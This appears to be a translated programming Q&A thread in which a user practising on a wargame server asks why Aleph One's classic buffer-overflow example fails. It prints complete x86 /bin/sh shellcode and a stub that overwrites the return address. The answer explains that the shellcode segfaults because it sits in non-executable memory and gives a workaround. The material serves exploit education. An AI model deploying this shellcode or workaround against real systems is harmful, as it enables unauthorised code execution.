Jja*_*ang 8 c security buffer-overflow shellcode
我一直试图运行Aleph One的例子来获得BOF并打开一个shell.
这是Aleph One论文:http://insecure.org/stf/smashstack.html
这是简单的C代码(几乎位于论文的一半):
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Run Code Online (Sandbox Code Playgroud)
现在,我尝试在SSH bash中运行此程序,但没有成功.
由于运行后没有任何反应,我猜测我只是没有写回程地址,所以我使用GDB来查看ret变量和实际返回地址之间的偏移量,并意识到它是7.
为了检查自己,我尝试增加3,4,5,6中的ret,实际上,只有当我将第10行更改为:
ret = (int *)&ret + 7;
Run Code Online (Sandbox Code Playgroud)
我遇到了分段错误.
但是,我不明白为什么没有打开bash而我得到了这个错误.
PS我正在使用'logic smashthestack'SSH服务器(其中一个挑战是BOF):http://logic.smashthestack.org:88 /
谢谢你的帮助.
来自http://blog.markloiseau.com/2012/06/64-bit-linux-shellcode/:
这个存根是经典shellcode测试存根的更新版本,有一个关键区别:在新存根中,shellcode在编译时是#defined,因此可以通过gcc的预处理器直接放入主程序中.
这是必要的,因为随着时间的推移,Linux和GCC对可执行文件的哪些部分可以包含可执行代码(与非可执行变量相对)变得更加谨慎.该程序的传统版本不适用于较新版本的Linux:
经典的shellcode c stub将在较新的系统上生成段错误,因为shellcode []字符数组存储在ELF文件的显式非可执行.rodata部分中.当计算机将非可执行数组重新编译为函数并尝试运行它时,程序崩溃
.还要注意编写shellcode的这些更改:
//old way
char[] shellcode ="shellcode..."
//new way
#define SHELLCODE "shellcode
Run Code Online (Sandbox Code Playgroud)